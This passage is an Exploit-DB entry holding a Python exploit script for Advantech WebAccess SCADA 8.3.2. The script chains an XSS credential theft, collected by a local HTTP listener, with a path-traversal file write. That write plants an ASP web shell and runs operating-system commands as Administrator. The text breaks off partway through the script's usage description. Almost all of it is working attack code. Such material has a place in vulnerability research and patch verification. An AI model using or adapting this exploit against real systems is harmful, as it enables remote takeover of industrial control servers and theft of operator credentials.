Exploit-DB #45774
Description: Advantech WebAccess SCADA 8.3.2 - Remote Code Execution
Type: webapps
Platform: asp
Date: 2018-11-05
Author: Chris Lyne

Exploit:
# Exploit Title: Advantech WebAccess SCADA 8.3.2 - Remote Code Execution
# Date: 2018-11-02
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: http://www.advantech.com
# Device: NRVMini2
# Software Link: http://downloadt.advantech.com/download/downloadsr.aspx?File_Id=1-1MDG1BH
# Version: 8.3.2
# Tested on: Windows Server 2008 R2
# CVE: CVE-2018-15705, CVE-2018-15707
# TRA: https://www.tenable.com/security/research/tra-2018-35
# Description:
#
# This code exploits two vulnerabilities to gain remote code execution
# with Administrator privileges:
#
# 1) CVE-2018-15707 to steal credentials (XSS). User-interaction required.
# 2) CVE-2018-15705 to write an ASP file to the server.

from http.server import HTTPServer, BaseHTTPRequestHandler
from base64 import decodestring
import re
import requests, urllib, json
import sys
import argparse

TIMEOUT = 5 # sec

def err_and_exit(msg):
    print '\n\nERROR: ' + msg + '\n\n'
    sys.exit(1)

# WADashboard client
class WsClient:
    def __init__(self, ip, port, https=False):
        self.ip = ip
        self.port = port
        self.https = https

        self.endpoint = 'https' if https else 'http'
        self.endpoint += '://' + ip + ':' + str(port)
        self.endpoint += '/WADashboard'

    # see if service is up
    def grab_projects(self):
        url = self.endpoint + '/api/dashboard/v6/waConfig/getWebAccessProjectList'
        r = requests.get(url, timeout=TIMEOUT)
        if "resString" in r.text:
            json_decoded = json.loads(r.text)
            if json_decoded['resString'] is not None and len(json_decoded['resString']) > 0:
                return json_decoded['resString']
        return None

    # success if we get cookies
    def login(self, projectName, user, pw):
        # issue a login request and set the cookies
        # POST /WADashboard/login?cont=dashboardViewer
        # projectName1=myproject&username=admin&[CREDENTIAL_REDACTED]=
        url = self.endpoint + '/login?cont=dashboardViewer'
        data = {
            'projectName1'  : projectName,
            'username'      : user,
            'password'      : pw,
            'recId'         : ''
        }
        r = requests.post(url, data, timeout=TIMEOUT)
        if len(r.cookies) > 0:
            self.cookies = r.cookies
            return True     # success
        else:
            return False    # fail
        
    def write_file(self, filename, contents):
        # /WADashboard/api/dashboard/v1/files/writeFile?projectSpecies=myproject!savedConfiguration&folderpath=../../../../exec.asp&msg=contents&overwrite=true

        # post the writeFile request
        # for some reason, the data is required in the query string instead of POST data
        url = self.endpoint + '/api/dashboard/v1/files/writeFile'
        data = {
            'projectSpecies'    : victim['project'] + '!savedConfiguration',
            'folderpath'        : '../../../../' + filename,    # uploads to /Broadweb/ folder
            'msg'               : contents,
            'overwrite'         : 'true'
        }

        url += '?' + urllib.urlencode(data)
        r = requests.post(url, cookies=self.cookies, timeout=TIMEOUT)
        return (r.status_code == 200)

# This class will serve as an HTTP listener
class MyWebHandler(BaseHTTPRequestHandler):
    def do_GET(self):

        data = self.path.replace('/', '') # remove leading slash
        decoded = decodestring(data)

        print "\n***LINK CLICKED!***"

	try:
	    # carve out the piece we want to match
	    i = decoded.index('logOnWebService')
	    k = decoded.index('readNodeStatus')
	    chunk = decoded[i:k]

	    # find our match
	    regex = '^logOnWebService\\("(.+)", "(.*)"\\);.*'
	    m = re.match(regex, chunk)

            if not m:
                err_and_exit("Couldn't extract credentials...")

            print "\nCredentials stolen..."
            user = m.group(1)
            pw = m.group(2)
            print "- User: " + user
            print "- Pass: " + pw

	    # login to WADashboard
	    if not client.login(victim['project'], user, pw):
		err_and_exit("Credentials didn't work...")

	    print '\nLogged into WADashboard with credentials.'

            # write malicious ASP file
            asp_payload = '<% Set t=Server.CreateObject("webdobj.webdraw"):t.RemoteWinExec Request.QueryString("p"),Request.QueryString("n"),Request.QueryString("c"):Response.Write "Done."%>'
            filename = 'exec.asp'
            if not client.write_file(filename, asp_payload):
                err_and_exit("Write file failed...")

            print "\n'" + filename + "' written to disk."

            # execute OS command
            url = broadweb_root + '/' + filename
            data = {
                'p' : victim['project'],
                'n' : victim['node'],
                'c' : victim['cmd']
            }

            url += '?' + urllib.urlencode(data)
            r = requests.get(url, timeout=TIMEOUT)   # no cookie needed
            if r.status_code == 200:
                print "\nSuccessful request to '" + url + "'\n"
            else:
                print "\nThere may be something wrong with the ASP payload.\n"

            print "\nDone!"
	except Exception as e:
            print "Exception encountered: " + str(e)

        msg = 'hello poppet'

        self.send_response(200)
        self.end_headers()
        self.wfile.write(str.encode(msg))

# MAIN

# deal with command line flags
desc = '''This exploit targets Advantech WebAccess/SCADA 8.3.2. It has been tested against Windows 2008 R2 x64.

The goal of the script is to execute code remotely. User interaction is required.

The following operations will be conducted:
1) Ensure WebAccess application is running. (TCP port 80 by default)
2) Ensure WADashboard is running. (TCP port 8081 by default)
3)